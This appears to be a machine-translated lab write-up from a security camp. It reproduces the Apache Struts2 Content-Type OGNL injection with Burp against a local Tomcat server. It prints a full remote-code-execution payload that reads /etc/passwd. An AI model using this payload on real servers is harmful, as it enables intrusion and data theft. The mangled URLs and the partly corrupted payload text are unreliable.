apache struts2 취약점 검증

2675 단어 Tomcatstruts2
이번에는 보안 캠프의 과제였던 apache struts2의 취약성에 대해 실제로 손을 움직여 실행해 보고 싶습니다.

환경



VirtualBox에서 브리지 어댑터 사용
호스트:macOS 10.12
게스트:ubuntu 16.04LST
struts 2.3.20

가상 머신에 java, tomcat 등을 도입한다



ht tp // 66 tbg. 는 bぉ. jp/엔트리/2016/05/05/195401
h tp // w w.ぃん×まああ。 jp/아 pt-인 s 탓ㅁㅔぁ. HTML
이 기사를 참고로했습니다.

Brupproxy 설정



Burpproxy의 proxy->Options->add에서 127.0.0.1:9999(선택 사항)를 설정합니다.
그런 다음 호스트 시스템 브라우저를 방금 만든 프록시를 통해 통신하도록 설정합니다.

http 요청 변경



브라우저의 URL 입력란에 게스트 머신의 IP 주소, 포트 번호를 입력합니다.
그러면 Burpproxy의 intercept 탭에 http 요청이 표시됩니다.
Content-Type: Content-Type:%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

쿠키 등을 지우고 추가하고 Forward를 클릭하십시오. ↑의 코드에서는 서버의/etc/passwd 파일이 브라우저상에 표시되어 버립니다!
java?의 코드가 Content-Type에 포함되어있는 것처럼 서버의 OS를 검사 "/bin/bash -c cat/etc/passwd"를 실행하는 것 같습니다.

wireshark에서 패킷 캡처를 시도하는 고려 사항



보안 캠프에서 배포된 패킷 파일에는 왠지 ssh 연결에 응답하는 패킷이 보였지만 역시 이번 실험에서는 그런 것은 발견할 수 없었다. . .

참고 사이트
ht tp // 66 tbg. 는 bぉ. jp/엔트리/2016/05/05/195401
h tp // w w.ぃん×まああ。 jp/아 pt-인 s 탓ㅁㅔぁ. HTML

좋은 웹페이지 즐겨찾기